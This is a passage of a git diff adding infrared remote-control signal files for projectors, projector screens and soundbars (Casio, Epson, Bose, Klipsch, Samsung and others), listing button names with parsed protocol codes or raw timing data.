4779 177 4780 175 7219 178 7218 179 56308 178 7218 179 7216 181 4776 179 4777 178 4778 177 4779 176 4780 175 4781 175 4782 173 7222 175 7220 177 56310 176 7219 178 7217 180 4777 178 4778 177 4779 176 4780 175 4781 174 4782 173 4783 183 7213 173 7222 175 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 179 7217 180 7215 182 4774 181 4776 179 4776 179 4777 179 4778 177 4779 177 4780 175 7220 177 4779 176 56311 176 7219 178 7218 179 4777 178 4778 178 4779 177 4780 175 4781 175 4782 174 4782 174 7222 175 4781 175 56313 174 7221 176 7220 177 4779 177 4780 175 4781 175 4781 175 4782 174 4783 172 4784 182 7213 174 4783 173 diff --git a/assets/resources/infrared/Projectors/BrandUnknown/Stlth_acou.ir b/assets/resources/infrared/Projectors/BrandUnknown/Stlth_acou.ir new file mode 100644 index 000000000..103f1a76c --- /dev/null +++ b/assets/resources/infrared/Projectors/BrandUnknown/Stlth_acou.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6355 4752 1414 414 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 386 761 749 388 381 756 754 383 386 761 749 388 380 757 754 383 411 726 759 388 406 731 753 384 411 726 758 389 405 732 753 384 410 727 757 390 405 732 752 385 410 727 757 390 404 733 725 412 409 728 385 762 404 733 751 386 409 728 411 726 414 733 750 387 +# +name: Stop +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6346 4759 1417 411 726 758 389 406 731 753 384 410 727 757 390 405 732 752 385 410 727 757 390 404 733 751 386 382 755 756 381 387 760 750 387 408 729 755 382 413 734 750 387 407 730 755 382 412 735 749 388 407 730 754 383 412 735 748 389 406 731 753 384 411 726 758 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 15724 6353 4753 1423 405 732 752 385 410 727 757 390 378 759 751 386 409 728 757 390 404 733 751 386 409 728 756 381 414 733 750 387 408 729 755 382 413 734 750 387 407 730 728 409 412 735 749 388 380 757 754 383 412 725 759 388 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 405 732 752 385 410 727 757 390 404 733 751 386 15729 6348 4758 1418 410 727 757 390 405 732 752 385 409 728 757 390 404 733 751 386 409 728 756 381 414 733 751 386 408 729 756 381 413 734 750 387 408 729 755 382 413 734 749 388 407 730 754 383 412 735 749 388 407 730 754 383 412 725 759 388 380 757 753 384 411 726 758 389 405 732 753 384 410 727 758 389 405 732 752 385 410 727 757 390 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6344 4762 1415 413 734 750 387 381 756 755 382 386 761 749 388 380 757 754 383 411 726 758 389 406 731 753 384 410 727 757 390 405 732 752 385 409 728 730 417 404 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 412 735 749 388 407 730 727 410 411 726 758 389 405 732 408 729 755 382 757 390 404 733 407 730 754 383 756 381 15733 6346 4761 1416 386 761 749 388 407 730 754 383 412 735 748 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 404 733 751 386 409 728 756 381 414 733 750 387 408 729 755 382 413 734 750 387 408 729 728 409 413 734 749 388 407 730 754 383 385 762 748 389 406 731 409 728 756 381 758 389 405 732 408 729 755 382 757 390 15724 6354 4752 1425 404 733 751 386 409 728 756 381 413 734 750 387 381 756 755 382 412 735 749 388 407 730 754 383 412 725 758 389 406 731 753 384 411 726 758 389 405 732 752 385 410 727 757 390 404 733 751 386 409 728 756 381 413 734 750 387 408 729 755 382 413 734 749 388 407 730 409 728 756 381 758 389 406 731 408 729 755 382 758 389 diff --git a/assets/resources/infrared/Projectors/Casio/Casio_YT-130.ir b/assets/resources/infrared/Projectors/Casio/Casio_YT-130.ir new file mode 100644 index 000000000..8d7506b3d --- /dev/null +++ b/assets/resources/infrared/Projectors/Casio/Casio_YT-130.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 0B F4 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 0A F5 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 0C F3 00 00 +# +name: Zoom_up +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 1B E4 00 00 +# +name: Zoom_dwn +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 1A E5 00 00 +# +name: Focus_up +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 1D E2 00 00 +# +name: Focus_dwn +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 1C E3 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 4A B5 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 4B B4 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 4D B2 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 4E B1 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 4C B3 00 00 +# +name: Keyst_up +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 2A D5 00 00 +# +name: Keyst_d +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 2D D2 00 00 +# +name: Auto +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 5B A4 00 00 +# +name: Aspect +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 5C A3 00 00 +# +name: Eco +type: parsed +protocol: NECext +address: 84 F4 00 00 +command: 3C C3 00 00 diff --git a/assets/resources/infrared/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir b/assets/resources/infrared/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir new file mode 100644 index 000000000..c6037b75a --- /dev/null +++ b/assets/resources/infrared/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 226 7356 231 7350 227 4756 222 4761 227 4756 222 4761 227 4756 232 4750 228 4756 222 4761 227 7353 224 +# +name: Stop +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 231 7350 226 4757 231 4752 226 4757 231 4752 226 4758 230 4753 225 4758 230 4753 225 7356 231 7350 226 59177 227 7354 222 4761 227 4756 222 4761 227 4756 222 4761 227 4756 222 4762 226 4757 221 7360 227 7354 222 59180 224 7357 230 4753 225 4759 229 4754 224 4759 229 4754 224 4759 229 4754 224 4760 228 7352 225 7357 230 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 222 7359 227 7353 223 4760 228 4756 222 4761 227 4756 222 4762 226 4757 231 4752 225 7355 231 4752 226 59177 224 7357 230 7351 225 4758 230 4753 225 4758 230 4753 225 4759 229 4753 225 4759 229 7352 224 4759 229 59173 228 7353 223 7358 229 4754 223 4760 228 4755 222 4761 227 4756 222 4761 227 4756 222 7360 226 4756 222 diff --git a/assets/resources/infrared/Projectors/Dragonfly/Dragonfly_Screen.ir b/assets/resources/infrared/Projectors/Dragonfly/Dragonfly_Screen.ir new file mode 100644 index 000000000..a13e4155d --- /dev/null +++ b/assets/resources/infrared/Projectors/Dragonfly/Dragonfly_Screen.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1277 429 1251 430 1250 430 1250 430 415 1239 441 1239 441 1265 415 1265 415 1239 441 1266 414 1240 1274 432 413 1268 412 1242 438 1242 1272 434 1246 435 1245 435 410 1270 1244 435 1255 425 1255 425 409 1271 1254 426 1254 427 1253 427 407 1272 1253 427 1253 428 1252 428 1252 429 405 +# +name: Lil_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1271 435 1255 425 1255 426 1254 426 408 1272 407 1272 407 1272 407 1273 1252 428 406 1274 405 1274 405 1274 405 1249 441 1239 440 1239 1275 432 1248 433 1247 433 412 1268 1246 434 411 1268 412 1269 411 1269 1245 435 410 1270 1255 426 408 1271 409 1271 409 1271 408 1272 1253 428 406 22225 1273 434 1246 435 1245 435 1255 425 409 1271 409 1270 410 1271 409 1271 1254 427 407 1272 407 1273 406 1273 406 1247 433 1248 431 1248 1277 430 1250 431 1249 431 414 1266 1248 432 413 1267 412 1267 413 1267 1247 434 411 1268 1246 435 410 1269 411 1270 410 1270 410 1244 1281 426 408 22224 1274 433 1247 433 1247 433 1247 434 411 1269 411 1269 411 1269 411 1270 1255 426 408 1271 409 1271 408 1271 409 1246 433 1246 433 1247 1278 429 1251 429 1250 430 404 1275 1250 431 414 1266 413 1266 413 1266 1248 433 412 1267 1247 434 411 1268 412 1268 412 1269 410 1243 1282 426 408 +# +name: Stop +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1280 427 1252 427 1252 428 1251 429 405 1274 405 1274 405 1275 415 1238 441 1265 414 1266 1248 432 413 1267 412 1267 412 1268 411 1268 1246 434 1245 435 1255 425 409 1271 409 1271 1254 426 1253 427 407 1272 408 1272 1253 428 1251 429 405 1274 1251 430 1249 430 1249 431 414 1266 1248 21384 1278 428 1252 428 1251 429 1251 430 404 1275 404 1275 415 1265 414 1239 440 1240 439 1240 1274 433 412 1268 411 1268 411 1269 410 1243 1282 425 1255 426 1254 426 408 1272 407 1272 1253 428 1251 428 406 1274 405 1274 1251 430 1250 430 415 1265 1249 431 1249 432 1247 432 413 1267 1247 21385 1277 429 1250 429 1251 430 1250 430 415 1265 414 1265 414 1266 413 1266 414 1240 439 1241 1273 434 411 1269 410 1269 410 1269 410 1270 1255 426 1254 426 1254 427 407 1272 407 1272 1253 428 1252 429 405 1274 405 1274 1251 430 1250 431 414 1266 1248 431 1249 432 1248 432 413 1267 1247 +# +name: Lil_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1275 432 1248 433 1247 433 1246 434 411 1269 410 1269 410 1243 1282 425 409 1270 409 1270 409 1271 409 1271 408 1246 433 1246 433 1247 1278 429 1250 430 1249 430 1249 431 414 1266 414 1265 414 1266 413 1266 1248 433 1247 433 1247 434 411 1268 1246 434 411 1269 411 1243 1282 425 1254 21377 1274 433 1246 433 1246 434 1245 435 410 1269 411 1269 410 1270 1255 426 408 1271 408 1245 434 1272 407 1246 433 1247 432 1247 433 1248 1277 430 1249 430 1249 431 1248 432 413 1266 414 1266 413 1267 412 1267 1247 434 1246 434 1246 435 410 1270 1255 425 409 1270 410 1271 1254 427 1252 21378 1273 434 1246 434 1246 435 1244 435 410 1270 410 1270 410 1244 1281 426 408 1271 408 1272 407 1272 408 1273 406 1247 432 1247 433 1248 1277 430 1249 431 1249 431 1249 432 413 1267 413 1266 414 1267 413 1267 1247 434 1246 434 1246 435 410 1270 1255 425 409 1270 409 1244 1281 427 1252 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1278 402 1277 402 1277 403 1276 404 441 1239 440 1240 439 1241 438 1241 438 1242 1272 408 437 1243 436 1244 435 1245 434 1246 433 1246 1278 402 1277 402 1277 403 1276 403 442 1239 1275 404 1275 405 1274 405 440 1241 438 1242 437 1242 437 1243 1281 398 1281 399 1280 400 1279 400 1279 diff --git a/assets/resources/infrared/Projectors/Epson/Epson.ir b/assets/resources/infrared/Projectors/Epson/Epson.ir new file mode 100644 index 000000000..b29d592f7 --- /dev/null +++ b/assets/resources/infrared/Projectors/Epson/Epson.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 90 6F 00 00 +# +name: Hdmi_1 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 73 8C 00 00 +# +name: Hdmi_2 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 77 88 00 00 +# +name: Lan +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 74 8B 00 00 +# +name: Video +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 70 8F 00 00 +# +name: Pc +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9D 62 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 5E A1 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 5B A4 00 00 +# +name: Stop +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 59 A6 00 00 +# +name: Vol_down +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 99 66 00 00 +# +name: Vol_up +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 98 67 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9A 65 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 85 7A 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B0 4F 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B2 4D 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B3 4C 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B1 4E 00 00 +# +name: Home +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 95 6A 00 00 diff --git a/assets/resources/infrared/SoundBars/Bose/Bose_Solo_2.ir b/assets/resources/infrared/SoundBars/Bose/Bose_Solo_2.ir new file mode 100644 index 000000000..ac5b3d752 --- /dev/null +++ b/assets/resources/infrared/SoundBars/Bose/Bose_Solo_2.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1004 1513 481 515 487 1478 516 505 487 510 482 1484 510 1481 513 508 484 512 490 1475 509 513 489 1477 507 1484 510 511 481 515 487 1479 515 1474 510 50774 1005 1484 510 513 489 1476 508 513 489 508 484 1482 512 1479 515 506 486 511 481 1483 511 512 490 1475 509 1483 511 510 482 515 487 1504 490 1475 509 50777 1013 1503 491 506 486 1505 489 507 485 512 490 1501 483 1508 486 510 482 514 488 1503 481 515 487 1504 490 1500 484 512 490 506 486 1506 488 1502 482 +# +name: Vol_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1014 1477 517 478 514 509 483 487 515 480 512 484 508 488 514 1479 515 1476 508 1483 511 1481 513 1478 516 1475 509 1482 512 1479 515 480 512 483 509 50775 1014 1477 517 504 488 508 484 513 489 506 486 510 482 514 488 1478 516 1475 509 1483 511 1480 514 1477 517 1474 510 1482 512 1478 516 505 487 509 483 50770 1009 1481 513 508 484 512 490 506 486 510 482 514 488 508 484 1481 513 1478 516 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 509 483 513 489 +# +name: Vol_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1010 1508 486 509 483 513 489 507 485 512 490 505 487 510 482 1509 485 511 491 1501 483 1509 485 1507 487 1504 490 1502 482 1509 485 511 491 1500 484 50779 1010 1506 488 508 484 512 490 505 487 509 483 513 489 506 486 1506 488 507 485 1506 488 1503 481 1510 484 1508 486 1505 489 1503 481 514 488 1503 491 +# +name: Mute +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1014 1477 507 514 488 508 484 512 490 505 487 509 483 513 489 507 485 1480 514 1477 517 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 508 484 50774 1004 1486 508 513 489 507 485 511 491 504 488 508 484 513 489 505 487 1479 515 1476 508 1484 510 1481 513 1478 516 1475 509 1482 512 1480 514 507 485 50771 1007 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 513 489 1502 482 1483 511 1481 513 1479 515 1476 508 1484 510 1481 513 1478 516 506 486 +# +name: Bluetooth +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1009 1510 484 1506 488 508 484 512 490 506 486 510 482 514 488 508 484 1508 486 510 482 1510 484 1507 487 1504 490 1502 482 1509 485 1506 488 507 485 50773 1005 1511 483 1507 487 509 483 513 489 506 486 510 482 514 488 508 484 1506 488 508 484 1507 487 1504 490 1501 483 1509 485 1506 488 1503 481 514 488 +# +name: Source +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1005 1511 483 513 489 507 485 511 491 506 486 1505 489 1503 481 1510 484 512 490 1501 483 1509 485 1506 488 1502 482 514 488 508 484 513 489 1501 483 50776 1009 1508 486 510 482 514 488 508 484 513 489 1503 481 1510 484 1508 486 510 482 1510 484 1507 487 1505 489 1502 482 514 488 508 484 512 490 1500 484 50771 1004 1512 482 514 488 508 484 512 490 506 486 1505 489 1502 482 1509 485 512 490 1500 484 1508 486 1505 489 1501 483 513 489 507 485 512 490 1499 485 +# +name: Bass +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1005 1512 482 1508 486 510 482 514 488 508 484 512 490 506 486 1504 490 506 486 510 482 1509 485 1506 488 1503 481 1510 484 1507 487 509 483 1507 487 50765 1010 1504 490 1502 482 514 488 508 484 512 490 505 487 508 484 1508 486 510 482 513 489 1502 482 1509 485 1506 488 1503 481 1511 483 512 490 1501 483 50773 1012 1503 481 1510 484 511 491 505 487 509 483 513 489 507 485 1506 488 507 485 512 490 1501 483 1508 486 1505 489 1502 482 1509 485 511 491 1501 483 +# +name: Other +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1008 1510 484 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 512 490 506 486 1505 489 1502 482 1510 484 1507 487 1504 490 1501 483 1507 487 50768 1014 1501 483 1509 485 511 491 505 487 509 483 513 489 506 486 510 482 514 488 506 486 1506 488 1502 482 1510 484 1507 487 1504 490 1502 482 1509 485 50767 1005 1509 485 1506 488 507 485 511 491 505 487 509 483 512 490 506 486 509 483 514 488 1503 481 1510 484 1507 487 1504 490 1500 484 1508 486 1505 489 diff --git a/assets/resources/infrared/SoundBars/Bose/Bose_Solo_5.ir b/assets/resources/infrared/SoundBars/Bose/Bose_Solo_5.ir new file mode 100644 index 000000000..8169a9688 --- /dev/null +++ b/assets/resources/infrared/SoundBars/Bose/Bose_Solo_5.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: Volume_up +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 03 FC 00 00 +# +name: Volume_down +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 02 FD 00 00 +# +name: Mode_aux +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 0D F2 00 00 +# +name: Mode_bt +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 81 7E 00 00 +# +name: Power +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4C B3 00 00 \ No newline at end of file diff --git a/assets/resources/infrared/SoundBars/Bose/Bose_Soundbar.ir b/assets/resources/infrared/SoundBars/Bose/Bose_Soundbar.ir new file mode 100644 index 000000000..ac5b3d752 --- /dev/null +++ b/assets/resources/infrared/SoundBars/Bose/Bose_Soundbar.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1004 1513 481 515 487 1478 516 505 487 510 482 1484 510 1481 513 508 484 512 490 1475 509 513 489 1477 507 1484 510 511 481 515 487 1479 515 1474 510 50774 1005 1484 510 513 489 1476 508 513 489 508 484 1482 512 1479 515 506 486 511 481 1483 511 512 490 1475 509 1483 511 510 482 515 487 1504 490 1475 509 50777 1013 1503 491 506 486 1505 489 507 485 512 490 1501 483 1508 486 510 482 514 488 1503 481 515 487 1504 490 1500 484 512 490 506 486 1506 488 1502 482 +# +name: Vol_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1014 1477 517 478 514 509 483 487 515 480 512 484 508 488 514 1479 515 1476 508 1483 511 1481 513 1478 516 1475 509 1482 512 1479 515 480 512 483 509 50775 1014 1477 517 504 488 508 484 513 489 506 486 510 482 514 488 1478 516 1475 509 1483 511 1480 514 1477 517 1474 510 1482 512 1478 516 505 487 509 483 50770 1009 1481 513 508 484 512 490 506 486 510 482 514 488 508 484 1481 513 1478 516 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 509 483 513 489 +# +name: Vol_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1010 1508 486 509 483 513 489 507 485 512 490 505 487 510 482 1509 485 511 491 1501 483 1509 485 1507 487 1504 490 1502 482 1509 485 511 491 1500 484 50779 1010 1506 488 508 484 512 490 505 487 509 483 513 489 506 486 1506 488 507 485 1506 488 1503 481 1510 484 1508 486 1505 489 1503 481 514 488 1503 491 +# +name: Mute +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1014 1477 507 514 488 508 484 512 490 505 487 509 483 513 489 507 485 1480 514 1477 517 1475 509 1483 511 1480 514 1477 517 1475 509 1482 512 508 484 50774 1004 1486 508 513 489 507 485 511 491 504 488 508 484 513 489 505 487 1479 515 1476 508 1484 510 1481 513 1478 516 1475 509 1482 512 1480 514 507 485 50771 1007 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 513 489 1502 482 1483 511 1481 513 1479 515 1476 508 1484 510 1481 513 1478 516 506 486 +# +name: Bluetooth +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1009 1510 484 1506 488 508 484 512 490 506 486 510 482 514 488 508 484 1508 486 510 482 1510 484 1507 487 1504 490 1502 482 1509 485 1506 488 507 485 50773 1005 1511 483 1507 487 509 483 513 489 506 486 510 482 514 488 508 484 1506 488 508 484 1507 487 1504 490 1501 483 1509 485 1506 488 1503 481 514 488 +# +name: Source +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1005 1511 483 513 489 507 485 511 491 506 486 1505 489 1503 481 1510 484 512 490 1501 483 1509 485 1506 488 1502 482 514 488 508 484 513 489 1501 483 50776 1009 1508 486 510 482 514 488 508 484 513 489 1503 481 1510 484 1508 486 510 482 1510 484 1507 487 1505 489 1502 482 514 488 508 484 512 490 1500 484 50771 1004 1512 482 514 488 508 484 512 490 506 486 1505 489 1502 482 1509 485 512 490 1500 484 1508 486 1505 489 1501 483 513 489 507 485 512 490 1499 485 +# +name: Bass +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1005 1512 482 1508 486 510 482 514 488 508 484 512 490 506 486 1504 490 506 486 510 482 1509 485 1506 488 1503 481 1510 484 1507 487 509 483 1507 487 50765 1010 1504 490 1502 482 514 488 508 484 512 490 505 487 508 484 1508 486 510 482 513 489 1502 482 1509 485 1506 488 1503 481 1511 483 512 490 1501 483 50773 1012 1503 481 1510 484 511 491 505 487 509 483 513 489 507 485 1506 488 507 485 512 490 1501 483 1508 486 1505 489 1502 482 1509 485 511 491 1501 483 +# +name: Other +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1008 1510 484 1507 487 509 483 513 489 507 485 511 481 515 487 508 484 512 490 506 486 1505 489 1502 482 1510 484 1507 487 1504 490 1501 483 1507 487 50768 1014 1501 483 1509 485 511 491 505 487 509 483 513 489 506 486 510 482 514 488 506 486 1506 488 1502 482 1510 484 1507 487 1504 490 1502 482 1509 485 50767 1005 1509 485 1506 488 507 485 511 491 505 487 509 483 512 490 506 486 509 483 514 488 1503 481 1510 484 1507 487 1504 490 1500 484 1508 486 1505 489 diff --git a/assets/resources/infrared/SoundBars/BrandUnknown/Amz_snd_bar.ir b/assets/resources/infrared/SoundBars/BrandUnknown/Amz_snd_bar.ir new file mode 100644 index 000000000..e02deae59 --- /dev/null +++ b/assets/resources/infrared/SoundBars/BrandUnknown/Amz_snd_bar.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 09 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 45 00 00 00 +# +name: Vol_dwn +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 1B 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 51 00 00 00 +# +name: Play_pause +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 46 00 00 00 +# +name: Rca +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 5D 00 00 00 +# +name: Aux +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 0E 00 00 00 +# +name: Opt +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 0D 00 00 00 +# +name: Bluetooth +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 10 00 00 00 diff --git a/assets/resources/infrared/SoundBars/BrandUnknown/Soundblasterx.ir b/assets/resources/infrared/SoundBars/BrandUnknown/Soundblasterx.ir new file mode 100644 index 000000000..2252b1e7a --- /dev/null +++ b/assets/resources/infrared/SoundBars/BrandUnknown/Soundblasterx.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 08 F7 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 0C F3 00 00 +# +name: Vol_up +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 0A F5 00 00 +# +name: Vol_down +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 01 FE 00 00 +# +name: Play_pause +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 09 F6 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 07 F8 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 06 F9 00 00 diff --git a/assets/resources/infrared/SoundBars/Klipsch/Klipsch_Soundbar.ir b/assets/resources/infrared/SoundBars/Klipsch/Klipsch_Soundbar.ir new file mode 100644 index 000000000..236364608 --- /dev/null +++ b/assets/resources/infrared/SoundBars/Klipsch/Klipsch_Soundbar.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: Pwr +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 01 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 03 00 00 00 +# +name: Vol_dwn +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 06 00 00 00 +# +name: Bluetooth +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: Analog +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 0E 00 00 00 +# +name: Digital +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: LED +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 1F 00 00 00 +# +name: Surround +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 04 00 00 00 +# +name: Dialog +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 2B 00 00 00 diff --git a/assets/resources/infrared/SoundBars/Samsung.ir b/assets/resources/infrared/SoundBars/Samsung.ir new file mode 100644 index 000000000..f862d68e4 --- /dev/null +++ b/assets/resources/infrared/SoundBars/Samsung.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: Vol_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4496 4442 513 503 488 502 489 501 490 500 491 1505 487 1508 484 505 486 504 487 1508 484 1511 492 1503 489 1499 514 484 486 504 487 502 489 501 490 4449 517 499 492 499 492 497 483 507 484 1511 492 1504 488 1499 514 483 487 1509 483 1512 491 1504 488 503 488 501 490 500 491 499 492 1504 488 501 490 500 491 492 509 1494 488 55126 4496 4446 541 482 488 502 489 501 490 500 491 1505 487 1508 484 505 486 504 487 1508 484 1503 510 1493 489 1480 512 504 487 503 488 502 489 500 491 4449 517 498 493 497 483 507 484 505 486 1502 511 1492 490 1504 488 502 489 1507 485 1509 483 1512 491 473 518 498 493 496 484 505 486 1510 483 499 512 484 486 504 487 1508 484 +# +name: Vol_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4492 4434 510 505 486 505 486 504 487 503 488 1481 511 1484 518 499 492 498 493 1476 516 1479 513 1483 519 1469 596 402 516 500 491 499 492 498 493 4447 518 498 493 497 483 507 484 506 485 504 487 503 488 494 517 1485 486 1483 519 1476 516 1480 512 504 486 1508 484 1486 517 1479 565 425 513 502 488 501 490 492 509 1467 515 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4504 4432 511 509 492 504 486 509 492 504 486 1478 514 1477 515 507 484 512 489 1476 516 1475 517 1475 517 1474 518 503 487 509 492 503 487 508 493 4446 508 513 488 507 483 512 489 507 483 512 489 506 484 511 490 506 484 1481 511 1480 512 1479 513 509 492 1473 519 1473 519 1472 509 1482 510 511 490 506 484 511 490 1475 517 54985 4498 4437 517 504 486 509 492 504 486 509 492 1473 519 1472 509 512 489 506 484 1481 511 1480 512 1480 512 1479 513 508 493 502 488 507 483 512 489 4449 516 506 485 511 490 505 485 510 491 505 485 510 491 504 486 509 492 1473 519 1473 508 1483 561 434 515 1476 516 1475 517 1474 518 1473 519 502 488 507 483 512 489 1476 516 +# +name: Mute +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4531 4406 516 478 512 484 538 457 544 452 538 1453 518 1473 519 476 546 450 540 1451 509 1482 510 1481 511 1480 512 483 539 457 544 452 538 457 544 4420 513 482 540 456 545 450 540 455 546 1445 547 449 541 454 536 458 543 1449 543 1449 543 1448 544 451 539 456 545 1445 547 1445 547 1444 537 458 543 453 537 457 544 1448 544 54957 4495 4440 514 481 520 477 513 482 519 476 514 1476 516 1475 517 478 512 484 517 1474 518 1473 519 1472 520 1471 521 474 516 479 511 484 517 479 511 4452 512 509 492 503 487 508 493 503 487 1477 515 507 483 512 489 506 484 1481 511 1481 511 1480 512 509 492 503 487 1478 514 1478 514 1477 515 506 484 511 490 505 485 1480 